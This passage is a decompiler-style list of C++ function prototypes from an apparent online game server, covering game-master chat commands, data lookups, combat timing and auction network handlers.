__thiscall Name3::Name3(Name3 *this, const char *str); void __thiscall Name3::operator_(Name3 *this, const char *nm); void __thiscall Name4::Name4(Name4 *this, const char *str); int __thiscall ORToken::operator_(int this, int a2); void __thiscall ORToken::ORToken(ORToken *this, const char *str); char *__thiscall NameString::operator__(NameString *this, Name3 *a); void __thiscall AxialListMobSuicide::_AxialListMobSuicide(AxialListMobSuicide *this); NPCManager::NPCIndexArray *__thiscall NPCManager::nm_FindNPCFunc(NPCManager *this, unsigned __int16 hnd); AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromName(AbnormalStateDictionary::AbState *this, char *sklname); SpecialItemIdent *__thiscall ItemDataBox::idb_SpecialItems(ItemDataBox *this); unsigned __int16 __thiscall ItemDataBox::idb_2itemid(ItemDataBox *this, const char *itemindex); ItemDataBox::ItemDataBoxIndex *__thiscall ItemDataBox::operator__(ItemDataBox *this, unsigned __int16 Itemid); unsigned __int16 __thiscall MobDataBox::mdb_2MobID(MobDataBox *this, const char *mobindex); MobDataBox::MobDataBoxIndex *__thiscall MobDataBox::operator__(MobDataBox *this, unsigned __int16 mobid); void __thiscall DebugLogging::DebugLogging(DebugLogging *this, char *filename); char *__thiscall DebugLogging::dl_MakeFileName(DebugLogging *this); _iobuf *__thiscall DebugLogging::dl_FilePoint(DebugLogging *this); DebugLogging *__thiscall DebugLogging::operator<<(DebugLogging *this, char *str); void __thiscall DebugLogging::operator<<(DebugLogging *this, DebugLineFeed *lf); int __thiscall FieldMap::fm_IsBlock(int this, int x, int y, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)); int __thiscall VectorClass::VectorWithLength::vwl_GetLength(int this); int __thiscall FieldMap::fm_PlayFilm(Name3 *fldindex, char *scriptname, PineScriptToken *initval); int __thiscall FieldMap::fm_DropFilm(_DWORD, _DWORD); // weak void __thiscall FieldMap::fm_ScriptInterrupt(int this, void (__thiscall *checkfunc)(ScriptInterrupt::ScriptInterruptManager *, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *arg); FieldOption *__thiscall FieldContainer::fc_GetFieldOption(FieldContainer *this); int __thiscall FieldMap::fm_GetFieldBonus(void *this); char __thiscall CharacterPassiveList::cpl_IsLearn(CharacterPassiveList *this, unsigned __int16 skill); char __thiscall ShineObjectClass::ShineObject::so_GetDirect(int this); ShineObjectEachList *__thiscall ShineObjectManager::som_Getlist(ShineObjectManager *this, unsigned __int16 type); int __thiscall ShineObjectClass::ShineObject::so_GetLayer(int this); MapInfo *__thiscall MapDataBox::operator__(MapDataBox *this, unsigned __int16 mapid); unsigned __int16 __thiscall MapDataBox::mdb_2mapid(MapDataBox *this, const char *mapindex); void __thiscall AxialListDoorAction::_AxialListDoorAction(AxialListDoorAction *this); void __thiscall PROTO_KQ_MAP_INFO::PROTO_KQ_MAP_INFO(PROTO_KQ_MAP_INFO *this); void __thiscall AmpersandCommand::ac_LinktoSaveData(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Default(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall PROTO_PARTY_MEMBER::PROTO_PARTY_MEMBER(PROTO_PARTY_MEMBER *this); void __thiscall AmpersandCommand::ac_QuestStartReq(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_QuestReadReq(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_DisPosition(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_IDTimeChange(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ViewAggroList(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_LuaObserver(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_LuaFuncExec(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GodOfSlotMachine(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ArrangeInven(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); unsigned int __thiscall std::vector>::size(std::vector,std::allocator >,std::allocator,std::allocator > > > *this); WorldManagerSession *__thiscall SocketBundle::sb_GetSocket(SocketBundle *this); void __thiscall List::_List(List *this); int __thiscall std::basic_string_std::allocator>::compare(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _N0, const char *_Ptr, unsigned int _Count); char __thiscall List::l_4AllInList(List *this, ListIteratorDefault *arg); void __thiscall ListIter_AmpCmdArgument::_ListIter_AmpCmdArgument(ListIter_AmpCmdArgument *this); char __thiscall ListIter_AmpCmdArgument::lid_Call(ListIter_AmpCmdArgument *this, AmpersandCommandElement *ele, unsigned __int16 handle); void __thiscall ListIter_AmpCmdLevel::ListIter_AmpCmdLevel(ListIter_AmpCmdLevel *this, char *sCommand, int nAdminLevel); void __thiscall ListIter_AmpCmdLevel::_ListIter_AmpCmdLevel(ListIter_AmpCmdLevel *this); char __thiscall ListIter_AmpCmdLevel::lid_Call(ListIter_AmpCmdLevel *this, AmpersandCommandElement *ele, unsigned __int16 handle); void __cdecl AmpCmdInit(); char __thiscall ShineObjectClass::ShinePlayer::sp_AmpersandCommand(void *this, __int16 handle, int chat); void __thiscall AmpersandCommand::_AmpersandCommand(AmpersandCommand *this); void __thiscall AmpersandCommand::ac_wall(AmpersandCommand *this, #734 *, char *); void __thiscall AmpersandCommand::ac_TempLinkUsage(AmpersandCommand *this, #734 *sp); void __thiscall AmpersandCommand::ac_MobBreedUsage(AmpersandCommand *this, #734 *sp); int __thiscall AmpersandCommand::ac_Scanf(AmpersandCommand *this, char *buf); void __thiscall AmpersandCommand::ac_Store(AmpersandCommand *this, char *cmd, int adlev, void (__thiscall *func)(AmpersandCommand *this, unsigned __int16, #734 *, int, char (*)[33])); void __thiscall AmpersandCommand::ac_Hide(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Show(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Dimension(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_AdminLevel(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ServerIndex(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_LinkTo(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_DoorBuild(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ScriptInterrupt(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Timer(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GuildCollectClear(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GuildCollectSet(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_NoticeZone(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GMChat(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); char __thiscall AxialListDoorAction::ali_Work(AxialListDoorAction *this, #593 *, #593 *, unsigned int); void __thiscall AmpersandCommand::ac_OXBlock(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_TempLink(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MobBreed(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MobBreed_simple(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MakeItem(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ClearInventory(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_fullpoint(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_summonplayer(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_questrecieve(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_questgiveup(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_questcomplete(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_learnskill(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_skillcooltime(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Setabstate(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_resetabstate(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_performance(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Sethp(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Setsp(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Dist(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_BlockMatrix(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_CurrentLoc(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_KickOutPlayer(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_FindMob(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_FindPlayer(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_SummonPlayer(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MobDistribute(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ChargedItem(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall PROTO_KQ_INFO::_PROTO_KQ_INFO(PROTO_KQ_INFO *this); void __thiscall KingdomQuest::KQElement::KQElementMap::KQElementMap(KingdomQuest::KQElement::KQElementMap *this); void __thiscall AmpersandCommand::ac_killallmob(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_mobdamage(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_SuicideAllMob(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ServerSocketCut(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_EmptyMap(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ZoneLinkTest(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GuildTournament(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_EndOfKingdomQuest(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ReroadKingdomQuest(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_deathaura(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_immortal(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_HorseSpeed(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_EnterMiniHouse(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_staticdamage(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_KeepFromChat(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_BonusExp(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_BonusItem(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_FieldBonus(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_CharInform(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_PartyInform(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_LuaSec(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ParameterView(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_IsBlock(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Propose(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ProposeRes(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_WeddingReset(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_WeddingReserve(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_WeddingGuestEnterReady(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_WeddingGuestEnter(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Unlearnskill(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_UnlearnPassive(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_learnPassive(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Wedding(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ShowPlayerID(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_EraseChargeBuff(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MobHatchery(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_AllCritical(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_StartGuildTournament(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_FlagCapture(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_UseGuildSkill(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ObserverLinkTo(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ObserverOut(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_EditSpeed(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_RunTo(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GhostRemove(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_CurTime(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_AmIBusy(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_KnockBack(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_PartBlock(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_InventoryView(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_PW(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_DebugLogging(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_TaiSai_DiceFix(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_TaiSai_DiceProbability(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Gamble_TaiSai_DiceFix(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Gamble_TaiSai_DiceProbability(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_FreeStatApp(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_makeraid(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_outraid(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::PROTO_PARTY_MEMBER_AND_ZONEMERCHINE(PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *this); void __thiscall AmpersandCommand::ac_PlayInstanceDungeon(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_AllLearnSKill(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_LevelUp(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_RegenReadyMob(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_TestLink(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GuildTournamentItemEffect(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ItemActionCoolTimeReset(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ReleaseChatBan(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_EquipBelongedCancelUse(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_PFGTSet(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MobItemDrop(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GetMoney(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_FindNPC(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_CameraMoveTest(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); char __thiscall List::l_PushA(List *this, AmpersandCommandElement *ele); char __thiscall List::l_PushZ(List *this, AmpersandCommandElement *ele); char __thiscall List::l_PopA(List *this, AmpersandCommandElement *ele); char __thiscall List::l_PopZ(List *this, AmpersandCommandElement *ele); void __thiscall List::l_Clear(List *this); void __thiscall KingdomQuest::KQElement::KQElement(KingdomQuest::KQElement *this); void __thiscall KingdomQuest::KQElement::_KQElement(KingdomQuest::KQElement *this); void __thiscall AmpersandCommand::ac_PlayerDistribute(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_NPCRevive(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_inraid(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ShowAllChar(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); #1265 *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(List *, unsigned __int16, #1265 *), unsigned __int16 *hnd, #1265 *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall AmpersandCommand::ac_KQReward(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_KingdomQuest(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_BigBang(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall std::allocator_std::allocator>>::destroy(std::allocator,std::allocator > > *this, std::basic_string,std::allocator > *_Ptr); void __cdecl std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void *__thiscall std::out_of_range::_vector_deleting_destructor_(std::length_error *this, unsigned int); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Xran(std::vector,std::allocator >,std::allocator,std::allocator > > > *this); void __thiscall std::out_of_range::out_of_range(std::out_of_range *this, std::out_of_range *__that); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Xlen(std::vector,std::allocator >,std::allocator,std::allocator > > > *this); void __thiscall AmpersandCommand::ac_HPChange(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_SPChange(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ReLoadData(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Captivate(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_IgnoreSkillCoolTime(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GMTestMode(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Destroy(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last); void __thiscall AmpersandCommand::AmpersandCommand(AmpersandCommand *this); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_vector_std::allocator>_std::allocator_std::allocator>>>(std::vector,std::allocator >,std::allocator,std::allocator > > > *this); void __thiscall ListIter_AmpCmdArgument::ListIter_AmpCmdArgument(ListIter_AmpCmdArgument *this, unsigned __int16 handle, #734 *admin, char *buffer); void __thiscall AttackRhythm::AttackRhythm_Melee::AttackRhythm_Melee(AttackRhythm::AttackRhythm_Melee *this); void __thiscall AttackRhythm::AttackRhythm_Melee::arb_Next(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca, int charclass); int __thiscall AttackRhythm::AttackRhythm_Melee::arb_ActionNumber(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca); unsigned int __thiscall AttackRhythm::AttackRhythm_Melee::arb_NextBash(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca, int attackspeed1000); void __thiscall AttackRhythm::AttackRhythm_Range::AttackRhythm_Range(AttackRhythm::AttackRhythm_Range *this); void __thiscall AttackRhythm::AttackRhythm_Range::arb_Next(AttackRhythm::AttackRhythm_Range *this, AttackRhythm::CharArgument *ca, int charclass); int __thiscall AttackRhythm::AttackRhythm_Range::arb_ActionNumber(AttackRhythm::AttackRhythm_Range *this, AttackRhythm::CharArgument *ca); void __thiscall AttackRhythm::AttackRhythm_Mob::AttackRhythm_Mob(AttackRhythm::AttackRhythm_Mob *this); void __thiscall AttackRhythm::AttackRhythm_Melee::_AttackRhythm_Melee(AttackRhythm::AttackRhythm_Mob *this); void __thiscall ItemBoxIterEmpty::ItemBoxIterEmpty(ItemBoxIterEmpty *this, ItemBag *ib, ChargedEffectContainer *cec); ItemAttributeClass *__thiscall ItemInventoryCell::iic_GetAttrProc(ItemInventoryCell *this); unsigned __int16 __thiscall ItemInventoryCell::iic_ItemIdent(ItemInform_ActionItem *this); unsigned int __thiscall ItemInventoryCell::iic_ItemLot(ItemInventoryCell *this); void __thiscall InventoryLocking::InventoryCellLock::icl_IncIndex(InventoryLocking::InventoryCellLock *this); void __thiscall InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator(InventoryLocking::UnlockedInventoryIterator *this, int type, ItemBoxIterator *iter, InventoryLocking::InventoryCellLock *lcklst); int __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Slot(InventoryLocking::UnlockedInventoryIterator *this); DebugLogging *__thiscall DebugLogging::operator<<(DebugLogging *this, int num); char __thiscall ShineObjectClass::ShinePlayer::sp_SetIsAuctionNewItem(int this, char bIsAuctionNewItem); char __thiscall ShineObjectClass::ShinePlayer::sp_GetIsAuctionNewItem(int this); unsigned int __cdecl ShineObjectClass::ShineObject::sp_lastpickuptime(); int __thiscall ShineObjectClass::ShinePlayer::so_AuctionSearchTimeGet(int this); int __thiscall ShineObjectClass::ShinePlayer::so_AuctionSearchTimeSet(int this, int dSearchTime); char __thiscall ItemBoxIterEmpty::ibi_isvalid(ItemBoxIterEmpty *this); char __thiscall ShineObjectClass::ShinePlayer::so_AuctionIsNearAuctionNPC(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_AUCTION_SEARCH_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_AUCTION_DB_SEARCH_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_AUCTION_BUY_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_AUCTION_DB_BUY_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_REGISTER_GOOD_LIST_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_AUCTION_DB_MY_REGISTER_GOOD_LIST_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall 